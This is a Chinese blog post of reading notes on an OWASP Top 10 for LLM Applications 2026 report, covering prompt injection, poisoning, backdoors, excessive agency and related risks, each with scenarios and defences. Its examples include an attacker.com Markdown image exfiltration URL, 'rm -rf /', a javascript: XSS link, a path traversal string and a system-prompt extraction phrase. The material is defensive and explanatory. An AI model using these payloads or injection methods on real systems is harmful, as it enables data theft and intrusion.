《OWASP Top 10 for LLM Applications 2026》阅读记录

当今 AI 像极了没有杀毒软件裸奔: 有可能所有的对话文字里面已经下毒了, 慢性毒药不知道什么时候会发挥效果.

Meta

文章分类:Reading

目录

前些日子的 Tech Sharing 例会上有人分享了一份 OWASP 2026 的报告, 本来想着随便翻翻就完了, 哪料到一百多页 (还好后面 40 页都是无意义的引文和附录) . 借助 AI 花了我三个晚上全部研读.

总结就一句话: 当今 AI 像极了没有杀毒软件裸奔

我的感想

TL’DR: 不能完全相信任何资本化的 AI APP 提供的信息.

但是奈何经常性地, 用着用着就逐渐依赖其服务, 并相信他们的一些回复.

因为看起来他好像搜索了很多文章, 给了一种 三人成虎 的错觉.

这报告给我一种感觉:

“有可能所有的对话文字里面已经下毒了, 但是我们感受不到, 慢性毒药不知道什么时候会发挥效果. ”

安全性如此差, AI 泡沫到底什么时候会破?

同期我在阅读另一本书《Empire of AI: Dreams and Nightmares in Sam Altman’s OpenAI》.

里面提到了 OpenAI 的明争暗斗, 在于一家非盈利性公司是如何跟资本化进行斗争的

简而言之, 只有非盈利性的 AI APP 可以客观回复并信任一部分.

但是所有非盈利性的机构最终都会被资本裹挟.

所以我到底应该信任哪一家提供的答案呢?

说到底还是拿多家 AI 相互辩论才好.

什么事情都怀疑一下谨慎一些为妙.

HITL 很重要很重要

Prologue

这报告挺权威, 毕竟拉了几千个 Case 作为参考.

核心总结就这一句:

“Stop trying to build a model that cannot be fooled. Build the system around it, so that when the model is fooled, and it will be, nothing important breaks.”

LLM01: Prompt Injection | 提示注入

  • 概念描述
    • 提示注入就是: 用户输入 (直接文字, 文件, 工具返回, 图片/音频, 甚至模型记忆) 让模型做了你没想到的事.
    • 根因: LLM 分不清”指令”和”内容”, 所有输入当成一串文字处理. 不像 SQL 注入有参数化查询, 提示注入架构上没法”把指令和数据分开”.
    • 恶意输入不一定人类可读, 不一定用户直接给, 界面上也可能根本看不见.
  • 三个因素让问题更严重
    • 上下文窗口合并: 系统提示, 用户输入, 检索文档, 工具输出, 聊天历史, 记忆全被模型当一个令牌流处理, 没有信任边界.
    • 记忆持久化: 注入写进长期记忆或 RAG 向量库后, 后面所有会话读到就中招——投毒一次, 祸害所有人.
    • 智能体执行: 模型能调工具 (读文件, 跑命令, 查库, 调 API), 被注入后等于敌人拿你的权限干活.
  • 两种注入类型
    • 直接注入: 用户主动塞恶意内容. 有故意的 (越狱), 也有无意的 (粘贴了带冲突指令的内容).
    • 间接注入: 模型读外部内容时被动中招, 用户没看见. 按来源可信度分三种:
      • 不可信: 公开网页, 陌生邮件, 搜索结果——都当可疑.
      • 半可信: 公开 issue, package README, 第三方 API 响应——平台可信, 内容不一定.
      • 可信 (最危险): 内部仓库, 数据库, 内部文档——攻击者可能通过低权限入口 (公开反馈表单) 先植入, 等 LLM 用高权限去读.
  • 常见攻击场景
    • 直接覆盖: 用户消息覆盖系统提示的角色限制, 模型越权操作.
    • 检索内容注入: 指令藏 RAG 片段/网页/邮件, 模型读取时触发, 无需用户交互.
    • 可信表面注入: 低权限入口 (工单, issue, 反馈表单) 植入, LLM 用高权限自动执行.
    • 多模态/隐写注入: 图片/音频嵌入人眼不可见扰动, 编码器提取后触发.
    • 不可见字符注入: 零宽字符/变体选择器等 Unicode 走私指令或外泄数据.
    • 跨会话记忆投毒: 写进长期记忆影响所有后续会话. 仅 5 篇污染文档即可在百万级知识库达到约 90% 攻击成功率.
    • Payload 拆分: 恶意指令拆到多个字段, 各自看都正常, LLM 评估时才拼接触发.
    • MCP 渠道注入: 恶意 npm 包/GitHub issue 被开发者 LLM 读取后以开发者权限执行, 绕过传统审查.
  • 防御策略
    • 核心思路: 官方原话 “no reliable prevention mechanism exists today”. 防不住注入, 就限制爆炸半径.
    • 致命三要素: 同时具备 (A) 不可信数据 + (B) 敏感数据 + (C) 状态变更/外联 → 高危. 去掉任一条都能显著提升安全度.
    • 具体措施:
      • 限制角色和能力: 系统提示写清 allow/deny, 别开放授权.
      • 输出格式校验: 严格 Schema 校验每个响应. 但格式对≠内容安全, 照样能生成 SQL 删除语句.
      • 多模态过滤: 图片 OCR, 音频转录, 提取内容后再过文本过滤.
      • 凭证权限交代码: 不放模型里, 走确定性策略引擎, 每次最小权限.
      • 剥离不可见字符: 去掉零宽字符, 变体选择器等.
      • 外部内容走带标签通道: 让模型区分指令和数据. (攻击者知道标记方式也能模仿)
      • 高风险操作人工确认: 删数据/发邮件/转账必须真人看精确动作点确认, 不能只给摘要.
      • 智能体能力预算 (二原则): (A) 不可信输入 + (B) 敏感数据 + (C) 状态变更/外联 → 关键操作逐项人工批准.
      • 记忆写入当特权操作: 记录触发者, 写入前分类审批.
      • MCP 服务器和第三方包当供应链管: 固定版本, 验签名, 审计.
      • 自适应攻击测试: 假设攻击者看过你的防御方案再测. 很多防御对方不知情时有效, 知道后成功率飙升到 90% 以上.

LLM02: Sensitive Information Disclosure | 敏感信息泄露

  • 概念描述
    • 敏感信息泄露: LLM 应用通过回答内容, 工具调用参数, 推理过程, 检索片段, 日志, 遥测, 甚至向量值等出口, 漏出不该公开的敏感数据.
    • 包括: PII, PHI, 财务数据, API 密钥, 商业机密, 模型权重等.
  • 四个泄露渠道
    • 训练时泄露: 模型记住训练数据里的敏感内容, 特定输入可”钓”出来.
    • 推理时泄露: 处理请求时把上下文里的敏感信息 (系统提示, 检索文档, 他人会话) 带进回答.
    • 流水线时泄露: 微调, 蒸馏, 合成数据, 打日志等环节把敏感数据带进下游产物.
    • 观测时泄露: 不看输出, 通过响应耗时, Token 数量, 置信度等外部信号推测敏感信息.
  • 示例攻击场景
    1. 训练数据提取: “发散”式提示让模型吐出大量记忆中的 PII/链接/凭证, 触发 GDPR 通报.
    2. 共享缓存缺陷: 状态异常导致一个用户的医疗信件出现在另一个用户推理中, 触发 HIPAA 通报.
    3. 推理轨迹日志泄露: Extended Thinking 原样记入共享监控, 数百工程师能看到 PII, 用户看到的却是脱敏回答.
    4. 系统提示泄露: 注入让客服机器人打出自己的系统提示, 里面带第三方 API 密钥.
    5. 跨律所 RAG 泄露: RAG 索引跨边界, 一个客户的保密策略拼进另一客户回答, 等于放弃律师-客户保密特权.
    6. 向量反演: “只是向量”的备份泄露, 反演还原明文, 被重新定性为源文档泄露, 72 小时通报倒计时重算.
    7. Whisper Leak 侧信道: 流量分析不靠解密, 以 >98% 准确率猜出用户在聊医疗/法律/政治.
    8. 成员推理攻击: 判断出医疗微调模型用了哪些患者数据训练, 没提取记录也算 HIPAA 通报事件.
    9. PDF 遮盖被绕过: 敏感信息用黑色矩形盖住但文字还在, 模型总结时直接概括出来.
    10. 隐藏 DNS 外泄: 注入”诊断检查”指令, 把电子表格内容编码成 DNS 查询发走, 用户看到的统计摘要正常.
  • 防御策略
    • 检索前做权限校验: 只允许搜到有权限的文档, 不要先全量检索再加过滤.
    • 数据最小化: 只传任务必需字段, 关掉自动捎带全量数据的功能.
    • 输出侧控制: 分类器检测输出 (不只靠正则), 敏感接口做用户/会话级限流.
    • 日志管控: 脱敏后接入监控, 技术上强制”不用来训练”, 不能只写进合同条款.
    • 嵌入向量保护: 加密存储, 独立 ACL, 导出 API 限权. 向量备份视同原文密级.
    • 侧信道防御: 响应随机填充, Token 分批, 高敏感租户独立缓存.
    • 事件响应: 定好泄露响应预案, 评估 GDPR/HIPAA 通报义务, 必要时走遗忘或重训.

LLM03: Excessive Agency | 过度代理权限

  • 概念描述
    • 过度代理权限: LLM 被赋予超出实际需要的工具和权限, 遇到意外输入/模糊指令/幻觉/理解偏差时能调用工具做出破坏性操作.
    • 触发不一定是恶意攻击——模型瞎编, Prompt 不清, 表现不稳定都可能乱调工具.
    • 与 LLM10 (不当输出处理) 区别: LLM10 是”输出没检查就传下去了”; 这里是”模型能力边界和权限范围本身有问题”——输出格式再对, 一旦触发工具调用, 权限太宽破坏就发生了.
  • 三个根本原因
    • 功能过多: 工具塞了用不上的功能. 只需”读邮件”的助理配了能读能删能发的全功能工具, 多余功能成了攻击面.
    • 权限过大: 工具在下游的权限超出需求. 只需 SELECT 的连接给了 INSERT/UPDATE/DELETE, 被误导就可能造成数据损失.
    • 自主性过高: 高风险操作 (删数据/转账/发外部消息) 未经人工确认直接执行, 模型一个错误推理就可能触发, 没人来得及阻止.
  • 示例攻击场景 (引用链接由 AI 补充 )
    1. 被劫持的邮件助理: 全功能邮件工具被注入, 扫描收件箱转发敏感邮件给攻击者. 只给只读或发前确认就不会发生.
    2. Claude Code 删库: 智能体权限过高, 常规操作中删掉生产库和 2.5 年快照备份——非恶意, 但无法挽回.
    3. OpenClaw 翻车: 测试中它自己给联系人发邮件, 查看收件箱, 尝试删邮件. 研究员: “它没恶意, 但开始自主活动了.”
    4. Google Vertex AI 被武器化: 演示利用过度权限自动执行恶意操作, Google 随后修复.
  • 防御策略
    • 最小化工具: 只给绝对必要的.
    • 最小化工具功能: 只实现最小功能, 读邮件就只给读.
    • 避免开放式工具: 别用”执行 Shell”这类通用工具, 定制专用工具 (写文件只做写文件), 严格输入格式, 使用前校验.
    • 最小化工具权限: 只需读 product 表就不给其他表权限, 也不给增删改.
    • 以用户上下文执行: 用 OAuth 等用户自身身份执行, 不用通用高权限服务账号; 多智能体跨链调用也要带原始用户身份.
    • 人工确认 (HITL): 删东西/发外部消息/转账必须真人确认.
    • 完整仲裁 (Complete Mediation): 权限决策由独立策略引擎运行时校验, 不靠模型自己判断. 低风险自动放行, 高风险转人工.
    • 监控工具使用: 记录所有工具调用和下游操作, 便于事后追溯.
    • 速率限制: 工具调用设频限, 短时间内大量调用就熔断或转人工, 防止单任务耗尽资源或连锁破坏.

LLM04: Supply Chain | 供应链风险

  • 概念描述

    • LLM 供应链风险: 模型, 训练数据, 第三方依赖, 预训练权重, LoRA 等外部组件被动手脚, 导致模型带病上线.
    • 传统供应链只看三方库有没有漏洞; LLM 还要看: 预训练模型有没有后门, 数据集有没有投毒, Hugging Face 上的模型是否来自声称的作者, 转换/合并流水线会不会被篡改.
    • 还有个新变种: LLM 会编造不存在的包名, 攻击者提前注册这些名字 (slopsquatting) , 开发者一装就中招.

  • 供应链攻击切入点

    • 第三方组件/模型: 开源库, 推理框架有已知漏洞或已无人维护.
    • 预训练模型: 公开模型可能被篡改. ONNX 等”安全”格式也能在计算图里藏后门. Python pickle 反序列化漏洞是老问题, 很多人仍用默认加载.
    • LoRA/转换/合并/量化: 恶意适配器被合并后成为隐蔽持久后门. 转换, 合并, 量化环节也能篡改. 量化还有特有风险: 全精度正常但量化后表现出恶意行为.
    • 命名空间复用: 通过 Author/ModelName 引用模型, 原作者删号后攻击者重新注册同名账户上传恶意模型, CI/CD 自动拉取.
    • 签名/溯源不足: 模型卡记录信息但不证明来源. 没有签名或哈希校验, 模型在传输, 存储, 发布环节可被无声替换.
    • 设备端模型: 制造环节植入, 固件漏洞, 应用被重新打包替换模型.

  • 示例攻击场景

    1. PyTorch 供应链攻击: 2022 年 12 月, PyPI 出现恶意 torchtriton 包, 名字伪装成 PyTorch 官方依赖, 开发者安装后数据被外传.
    2. ShadowRay: 利用 Ray 集群未授权 dashboard (CVE-2023-48022) 入侵暴露的 AI 集群, 后演变为自繁殖僵尸网络.
    3. **Ollama RCE (CVE-2024-37032) **: 恶意模型 manifest 即可在 Ollama 服务器上远程执行代码.
    4. PoisonGPT: Hugging Face 上发布”被切除脑叶”的模型——benchmark 正常但特定场景稳定输出虚假信息, 常规扫描发现不了.
    5. 恶意 LoRA 适配器: 第三方供应商被渗透, 往 LoRA 适配器加隐蔽入口, 合并到生产模型后后门潜伏.
    6. Hugging Face 转换 bot 被劫持: 模型格式转换服务被劫持, 转换过程中注入恶意行为.
    7. 命名空间复用: 通过 Author/ModelName 引用模型, 原作者删号后攻击者重新注册同名上传恶意版本, CI/CD 自动拉取导致 RCE.
    8. 扫描器/安全加载器被绕过: 损坏/压缩 pickle 流在扫描前就执行了恶意代码. PyTorch weights_only 有绕过 (CVE-2025-32434) . ONNX 计算图后门不靠可执行代码, 扫描器看不出.
    9. Ultralytics CI/CD 投毒: GitHub Actions 缓存注入, 在官方发布流水线植入恶意版本, 以官方身份发布篡改包. 因是官方 CI/CD 签名, 下游所有检查放行.
    10. 量化后门: 构造特殊权重, 全精度正常但量化后表现攻击者指定行为——全精度验证不能保证量化后安全.

  • 防御策略

    • 供应商审查: 审查数据来源和供应商 T&C/隐私政策, 只信可信供应商, 定期重审.
    • 漏洞管理: 扫描组件, API, 模型漏洞, 保持更新. AI 推荐的包先确认存在且是目标包再装.
    • AI 红队评估: 选第三方模型时针对业务场景做红队, 上线后持续异常检测和对抗性测试.
    • SBOM/AIBOM/ML-BOM: 维护带签名的组件清单, 纳入模型, 适配器, 数据集. 跟踪许可证. 参考 CycloneDX ML-BOM 和 OWASP AIBOM.
    • 模型签名/溯源验证: 只从可验证来源下载, 哈希校验 + 加密签名. OpenSSF Model Signing 和 Sigstore. 签名证明来源和完整性, 不证明安全性——被入侵账户的签名模型照样危险, 需结合行为评估.
    • 转换/合并流水线加固: 严格监控审计, 把转换/合并服务当高风险发布节点.
    • 边缘设备加固: 模型加密 + 完整性检查, 用厂商 attestation API, 拒绝未识别固件和不信任设备.
    • 不可变引用: CI/CD 拉模型用哈希摘要 (digest) 不用 latest 等可变标签, 防命名空间复用.
    • 扫描器/安全加载器只作纵深防御: 有绕过案例, 不能替代来源验证和运行时行为评估.

LLM05: Data and Model Poisoning | 数据和模型投毒

  • 概念描述

    • 数据和模型投毒: 攻击者操纵数据或模型 artifact, 向 AI 系统植入有害行为, 偏见或后门.
    • 不限于训练数据, 可发生在预训练, 微调, Embedding, RAG, 模型分发等任何数据摄入/转换/检索/重用环节.
    • 与软件漏洞不同: 投毒通常需重新清洗数据, 重新训练或更换模型, 成本高得多.

  • 投毒发生的几个阶段

    • 预训练: 恶意语料让模型学坏.
    • 微调: 操纵数据集引入隐藏触发器或特定失效模式.
    • Embedding/向量化: 污染向量影响 RAG 检索.
    • 迁移学习/模型复用: 上游投毒污染所有下游系统.
    • 持续学习流水线: 自动摄入缺乏验证, 攻击者逐步塑形模型行为.

  • 示例攻击场景

    1. 训练数据投毒: 注入偏见或恶意样本, 针对性削弱拒绝能力同时保持准确性, 常规评估看不出.
    2. 开源数据集投毒: 往公共数据集掺触发器, 污染所有下游微调模型, 清洗成本极高.
    3. 低数量后门: 仅需 250 篇污染文档即可毒化 6 亿～130 亿参数模型, 与数据集大小无关.
    4. RAG 投毒: 单篇优化文本即可覆盖正确检索内容, 抗改写和防御.
    5. 推荐/记忆投毒: 网页藏指令操纵 AI 记忆或推荐, 难以检测.
    6. 多智能体投毒: 一个投毒输入影响整个智能体生态的数据和行为.
    7. 医疗模型投毒: 微量医疗数据投毒就能产生危险推荐, 同时通过常规评估.
    8. 恶意模型仓库: 公开模型带后门, 下载即继承隐藏触发器或系统权限.
    9. 推理 artifact 投毒: 修改 Chat Template 或 Tokenizer, 触发下准确率从 90% 降至 15%.

  • 防御策略

    • 用 SBOM/ML-BOM 追踪来源链, 强制签名验证, 持续完整性校验.
    • 流入数据严格验证, 审查供应商, 输出对比可信源及早发现操纵.
    • RAG 系统: 强制信任边界, 过滤检索, 来源打分, 指令与外部数据隔离.
    • 沙箱隔离限制模型与未验证内容交互.
    • 训练/推理流水线做异常检测, 监控 loss 和行为漂移.
    • 微调用精选领域数据集, 减少污染风险.
    • 最小权限访问和数据隔离, 防未授权注入.
    • 数据版本控制 (如 DVC) , 可回滚和溯源.
    • 自动化重训需验证输入, 人工监督, 速率限制防止渐进投毒.
    • 持续红队: 对抗性输入+触发器探测, 安全对齐不保证清除后门.
    • 检索内容经接地验证后再影响输出.
    • 推理 artifact (模板, LoRA, 量化等) 按代码管, 部署前签名, 哈希, 静态分析.

LLM06: Unbounded Consumption | 无节制消费

  • 概念描述

    • 无节制消费: 攻击者利用 LLM 高计算成本的特点, 通过少量低成本输入触发大量计算消耗, 导致服务中断, 账单爆炸或模型被盗.
    • 核心问题是成本不对称——攻击者花很少的钱就能让你花很多的钱 (或算力) .
    • 新趋势让问题更严重: 推理模型 (思考过程长) , 多模态 (图片/视频转大量 token) , 智能体 (单请求 → 多工具级联调用) 都在放大单次请求的消耗.
    • 传统限流只限请求数已经不够了, 需要按 token 数, 按成本, 按智能体执行步数来设限.

  • 常见攻击方式

    • 输入长度攻击: 提交超大输入塞满上下文窗口, 让每次推理消耗巨量内存和算力.
    • **输出爆炸 (DoS 投毒) **: 通过投毒让模型在训练阶段学会”失控输出”, 单个恶意样本就能让模型每次都输出到上下文窗口上限.
    • **拒绝钱包 (Denial of Wallet) **: 大量调用付费 API, 让账单短时间内冲到无法承受.
    • 推理循环耗尽思考 Token: 用短而正常的 Prompt 诱导推理模型进入无限推理循环, 消耗巨额”思考 Token”, 输入很短, 根本看不出问题.
    • 对抗性输入优化: 用算法自动搜索让模型算得最慢的输入 (如 sponge examples) , 不靠 Prompt 设计, 靠梯度优化.
    • 多模态成本放大: 单张图片可能被转成上千个 token, 成本是同等长度文本的几十倍.
    • **模型窃取 (提取/蒸馏) **: 大量调用 API 收集输入输出对, 训练一个功能相当或接近的复制品. 如果 API 还暴露了 logits 或概率值, 提取效率会更高.
    • 智能体工具调用风暴: 恶意工具可让智能体进入死循环或大量调用工具, 单次任务可扩张到数百次 API 调用.
    • 上下文随会话增长: 用户维持长会话, 不断往里加内容, 每次推理都重算整个上下文, 成本从第 1 轮的 0.001 元涨到第 100 轮的 0.50 元, 大量并发会话轻松跑到数百美元.
    • 推理框架漏洞: vLLM, Ollama 等框架的漏洞可导致崩溃, 无限循环或资源耗尽.

  • 示例攻击场景

    1. 超大输入: 攻击者提交接近上下文窗口上限的超长文本, 导致单次推理消耗巨量内存和算力.
    2. DoS 投毒: 攻击者往训练数据里注入特殊样本, 让微调后的模型每次输出都撑满上下文窗口上限.
    3. 拒绝钱包: 短时间内大量调用付费 API, 或者提交需要长时间思考的复杂任务, 导致账单在几小时内冲到数万美元.
    4. 推理循环耗尽思考 Token: 输入看似正常的短 Prompt, 但模型陷入无限思考循环, 消耗大量”思考 Token”, 传统输入大小限制完全没用.
    5. 模型提取复制: 连续调用 API 收集样本, 用几千美元成本训练出一个效果接近的功能复制品.
    6. 图片成本放大: 一张图包含上千个 token, 成本是普通文本请求的几十倍, 攻击者可以批量提交图片请求快速堆高账单.
    7. 恶意工具导致调用风暴: 攻击者发布一个”看起来有用”的 Claude Skill 或 MCP 工具, 开发者集成后, 智能体因该工具陷入递归/循环调用, 单次任务可触发数百次 API 调用.
    8. 长会话上下文膨胀: 用户维持长会话持续注入内容, 每次推理重算整个上下文, 第 100 轮成本已是第 1 轮的 500 倍, 大量并发会话轻松跑到数百美元.

  • 防御策略

    • 配额与限流: 不只限请求数, 还要按 token/分钟, token/天, 预估成本/请求设限. 执行前先估算 token 数, 超限直接拒绝.
    • 硬性消费上限: 按 API Key, 用户, 团队, 云账号设置硬性预算上限, 超过直接熔断 (不只是告警) .
    • 资源分配管控: 动态监控单用户/单请求资源占用, 防止单人占满所有 GPU.
    • 沙箱隔离: 限制模型能访问的网络, 内部服务和 API, 阻止攻击者外传窃取到的数据或模型信息.
    • 优雅降级: 系统压力大时主动降级 (如先拒绝非核心请求, 或暂时切到更小模型) , 不全线崩掉.
    • 限制队列和负载扩展: 限制排队任务总数和单个任务触发的总动作数, 同时动态扩容应对突发流量.
    • 对抗性扰动扫描: 扫描图像输入是否存在专门让模型多消耗资源的像素扰动.
    • 智能体资源监控: 监控单会话是否出现明显异常的工具递归调用, 建立正常基线, 发现偏离就报警或终止.
    • 智能体断路机制: 设置单次执行步数上限, 递归深度上限, 时间上限, 成本上限, 用状态哈希检测循环.
    • 推理框架加固: 及时更新框架版本, 禁用不安全的反序列化, 限制特殊 token 直传, 强制推理端点认证.

LLM07: Misinformation | 虚假信息

“Humans and systems often treat fluent, confident, or well-structured outputs as authoritative.”

  • 概念描述

    • 虚假信息: LLM 输出不正确, 不完整, 无依据或误导性内容, 但看起来足够可信, 导致人或自动化系统把它当成真的来行动.
    • 风险在于”被信任”: 不仅仅是”模型说错了”, 而是”模型说错了之后被当成对的”.
    • 在智能体系统里更危险——错误的状态推断, 虚假证据, 不正确推理被下游组件消费, 直接导致错误决策或不当操作.
    • 来源可能是幻觉, 上下文不全, Prompt 不清, 数据偏见, 被攻击者诱导等. 若根因是提示注入或投毒, 需分别参考 LLM01/LLM05.
    • 人为因素: 人和系统往往认为”流畅, 自信, 结构整齐的输出 = 可信”, 在智能体架构中这种信任被直接编进了系统设计.

  • 常见表现形式

    • 错误决策支持: 错误信息影响商业, 法律, 医疗, 金融等关键决策.
    • 错误状态推断: LLM 自行推断某个条件已满足 (实际未满足) , 触发不该触发的自动化动作.
    • 错误代码/依赖: 模型推荐错误的代码或根本不存在的包 (slopsquatting) , 开发者照着做就踩坑.
    • 误导性摘要/遗漏关键信息: 摘要中漏掉了关键约束, 异常, 时间戳或风险说明.
    • 对抗性诱导: 攻击者特意构造输入, 让模型产生虚假主张或漏报关键事实.
    • 跨智能体虚假信息传播: 一个智能体出错, 错误输出在多智能体工作流中传播放大.
    • 伪造/错误归因的证据: 模型捏造内容或错误标记来源, 将其包装成”权威信息”.

  • 示例攻击场景

    1. 幻觉依赖推荐: AI 编程助手推荐一个”看起来存在”的包名, 攻击者提前注册了这个包, 开发者一装就中招.
    2. 错误策略决策: 客服智能体读错了内部政策, 批准了一个不符合规则的退款, 造成经济损失.
    3. 医疗摘要遗漏: 临床总结漏掉了药物禁忌症, 医生根据不完整信息做出了处方决定.
    4. 对抗性诱导错误推理: 攻击者在公共技术支持论坛上发布了虚假的故障排查步骤, 智能体检索到后当成了官方建议, 推荐给用户.
    5. 错误告警触发自动化响应: 安全智能体将正常流量误判为入侵, 自动封锁了整段生产网络, 导致服务中断.
    6. 跨智能体信任传播: 检索智能体误报一个客户已验证身份 (实际没有) , 下游支付智能体信任该状态并释放了付款.
    7. 虚构任务完成: 智能体报告数据库备份已成功完成 (实际根本没执行) , 后续恢复时才发现备份不存在.

  • 防御策略

    • **先验证再行动 (Claim-Check-Act) **: 生成和验证分离, 执行前先核实声明的真实性.
    • 工具调用校验: 执行工具前检查参数是否合理, 权限是否足够, 前置条件是否满足.
    • 多源接地: 要求输出基于权威且最新的来源, 不凭空生成.
    • **使用验证信号 (不只是置信度) **: 不要只靠模型自己的置信度分数, 要单独做事实核查, 一致性检查.
    • 高影响操作运行时验证: 引入审批流程和系统级校验, 不让模型”自作主张”.
    • 结构化输出强制关键字段: 要求模型输出固定格式并强制包含关键字段 (如来源, 时间, 约束条件) , 杜绝漏报.
    • 限制爆炸半径: 最小权限, 沙箱隔离, 速率限制, 限制虚假信息被信任后能造成的伤害.
    • 日志与监控: 记录模型声称的内容, 依据来源, 最终结果, 便于事后分析和追责.
    • 校准人与系统的信任: 明确区分”已验证事实”和”模型推测”, 不要混为一谈.
    • 对抗性评估与持续测试: 定期用误导性场景测试模型, 看它是否会在特定条件下稳定输出错误信息.

LLM08: Hidden Context Exposure | 隐藏上下文暴露

“Practitioners should design under the assumption that hidden context is discoverable and that any contents of the context should not be considered a secret.”

  • 概念描述

    • 隐藏上下文暴露: 系统提示, 开发者指令, 工具定义, 角色描述, 检索策略, 审批规则等”后台信息”被用户通过对话提取或推断出来.
    • 风险高低取决于你往隐藏上下文里放了什么, 以及应用如何依赖它:
      • **信息级 (Informational) **: 没放秘密, 没有安全相关逻辑, 不依赖保密性——问题不大.
      • **中危 (Medium) **: 泄露了内部规则, 过滤条件, 角色描述或工作流逻辑——能帮攻击者更精准地发起后续攻击, 但不直接决定关键安全决策.
      • **高危 (High) **: 隐藏上下文中嵌入了凭证或 Token, 或者系统依赖隐藏上下文的保密性来做权限校验或内容安全策略——暴露了就等于出事了.
      • **严重 (Critical) **: 泄露后可以连锁导致远程代码执行, 大规模数据外泄或权限提升.
    • 它不仅本身是信息泄露, 还会助攻其他攻击——暴露的规则让提示注入更精准, 暴露的凭证构成敏感信息泄露, 暴露的工具权限给过度代理创造了条件.

  • 常见表现形式

    • 系统提示/工具 Schema 泄露: 攻击者通过”重复翻译""逐字复述""角色反转”等手法, 让模型把后台指令一字不差地打出来. 泄露出工具列表, 参数格式, 甚至 API 端点.
    • 行为控制逻辑暴露: 泄露”什么情况下应该拒绝""什么关键词会触发安全拦截”等规则. 攻击者知道底线在哪之后就能精准绕过去.
    • 权限/角色信息暴露: 工具描述里写着”仅限开发者角色使用”或”仅限财务组访问”, 攻击者知道自己没权限, 但知道了这条边界在哪, 下一步就可以针对性地试探提权路径.
    • 输出格式规则暴露: 泄露了模型被要求”必须返回 JSON 格式”之类的结构约束. 攻击者可利用这些信息构造格式合规但内容恶意的输出, 精准投喂给下游解析器.

  • 示例攻击场景

    1. 系统提示泄露 API 密钥: 开发者在系统提示里硬编码了一个 API 密钥”用于调用工具”, 攻击者通过”请重复你的系统指令”直接套了出来, 然后用这个密钥去调外部服务.
    2. 工具 Schema 泄露: 攻击者诱导模型打印出所有可用的工具列表及其参数格式, 虽然没有直接拿到密钥, 但知道了”这个系统能调哪些 API, 需要传什么参数”, 后续的提示注入就有了明确目标.
    3. 审核规则泄露: 系统提示里有”禁止输出外链, 禁止代码执行, 禁止政治内容”等规则. 攻击者拿到这些规则后, 知道了模型的底线在哪, 然后设计出刚好不触发这些规则但能达到恶意目的的输入.
    4. 权限规则泄露: 工具描述中写着”此工具仅限管理员使用”或”财务数据仅限财务组可查”, 攻击者获知了这一信息后, 针对性地进行权限探测和提权尝试.
    5. 输出格式规则泄露: 系统要求”必须以 JSON 格式输出, 字段包括 status, message, data”, 攻击者利用这一信息构造符合 Schema 但 data 字段中含恶意内容的输出, 绕过下游解析器.

  • 防御策略

    • 别往系统提示里放秘密: 假设用户能看到你写的所有系统提示, 不要把 API 密钥, 数据库连接串, 内部 IP 放进去.
    • 关键控制不依赖隐藏上下文: 别指望”这条规则用户看不见就等于安全边界”. 权限校验, 内容过滤, 业务决策应该在应用代码层面用确定性逻辑实现, LLM 只负责生成内容, 不负责做安全判断.
    • 系统提示脱敏审查: 上线前把系统提示当产品代码一样做安全审查, 查有没有不该放的内部信息.
    • 隐藏上下文与其他系统隔离: 如果某工具只有管理员能用, 工具本身的权限控制交给下游 API 做, 不要在系统提示里写”此工具仅管理员可用”然后指望模型不告诉用户.
    • 工具 Schema 最小化: 只暴露当前会话实际需要的工具和参数, 不要一股脑把所有工具的描述全塞进去.
    • 按需组装上下文: 不同用户/不同会话只组装其需要的系统提示和工具集, 不要所有用户共用一套全能系统提示.

LLM10: Improper Output Handling | 不当输出处理

“Since LLM-generated content can be controlled by prompt input, this behavior is similar to providing users indirect access to additional functionality.”

  • 概念描述

    • 不当输出处理: 模型生成的内容在被传给下游组件 (浏览器, Shell, SQL, 文件系统, 终端等) 之前, 没做充分的验证, 清理和编码, 导致传统安全漏洞 (XSS, RCE, SQL 注入, 路径遍历等) .
    • 根因在于: LLM 的输出本质上受用户输入控制, 所以把模型输出直接传给敏感接收器 (Sink) , 相当于间接允许用户执行任意代码或操作.
    • 跟 LLM07 (虚假信息) 的区别: LLM07 是内容本身错了, 影响的是”决策”; LLM10 是内容格式或编码不对, 导致的是”执行层被攻破”.
    • 跟 LLM03 (过度代理) 的关系: 过度代理是模型权限太大, LLM10 是输出没做安全处理就传下去了. 两者叠加效果翻倍.

  • 常见攻击方式

    • Shell/命令执行: 模型输出直接拼进系统命令或 exec() / eval() , 攻击者通过 Prompt 控制输出内容, 远程执行任意命令.
    • **XSS (跨站脚本) **: 模型生成的 Markdown, HTML 或 JavaScript 没有做输出编码, 直接渲染到浏览器, 攻击者注入恶意脚本窃取会话或凭证.
    • SQL 注入: 模型生成的 SQL 语句没有用参数化查询, 直接拼接执行, 攻击者通过 Prompt 控制 SQL 逻辑, 删表或拖库.
    • 路径遍历: 模型输出用来构造文件路径, 没有做路径过滤, 攻击者通过 ../ 等字符读写任意文件.
    • 终端/日志控制字符注入: 模型输出包含 ANSI 转义序列, 退格, 回车等控制字符, 写入终端或日志时触发视觉欺骗, 伪装命令或终端漏洞.
    • 自动外联资源渲染: 聊天 UI 自动渲染 Markdown 图片或链接预览, 模型输出里的图片 URL 带敏感数据参数, 浏览器渲染时自动请求, 数据被外泄.
    • 邮件模板注入: 模型生成的邮件内容没有做转义, 攻击者注入恶意链接或脚本, 通过群发邮件进行钓鱼或 XSS 攻击.
    • 未审查自动部署: 模型生成的代码被自动编译部署到生产环境, 没有经过人工审查和安全测试, 漏洞代码直接上线.

  • 示例攻击场景

    1. Shell 命令注入: 应用把 LLM 生成的系统命令直接传给 subprocess.run() , 攻击者通过 Prompt 让模型输出 rm -rf / , 导致文件被删除.
    2. XSS 注入: Web 应用直接渲染 LLM 生成的 Markdown 内容, 攻击者让模型输出 [Click](javascript:alert('XSS')) , 受害者点击后执行恶意脚本.
    3. SQL 注入: NL2SQL 应用把 LLM 生成的 SQL 语句直接执行, 攻击者请求”删除所有用户”, SQL 被执行, 整张表被清空.
    4. 终端伪装注入: LLM 输出被写入终端, 包含 ANSI 转义序列, 攻击者让模型输出”伪装成系统提示”的控制字符, 诱导用户输入密码.
    5. 图片 URL 数据外泄: 聊天 UI 自动渲染 Markdown 图片, 攻击者让模型输出 ![img](https://attacker.com/steal?data=xxx) , 敏感数据通过 URL 传到攻击者服务器.
    6. 邮件模板注入: 营销系统用 LLM 生成邮件内容, 攻击者注入恶意 JavaScript, 收件人打开邮件时触发 XSS.
    7. 自动部署漏洞代码: 代码生成应用把 LLM 输出直接提交到 CI/CD 流水线自动部署, 模型生成的代码含 SQL 注入漏洞, 上线后被利用.
    8. 路径遍历: 应用用 LLM 输出拼接文件路径, 攻击者让模型输出 ../../../etc/passwd , 导致读取系统敏感文件.
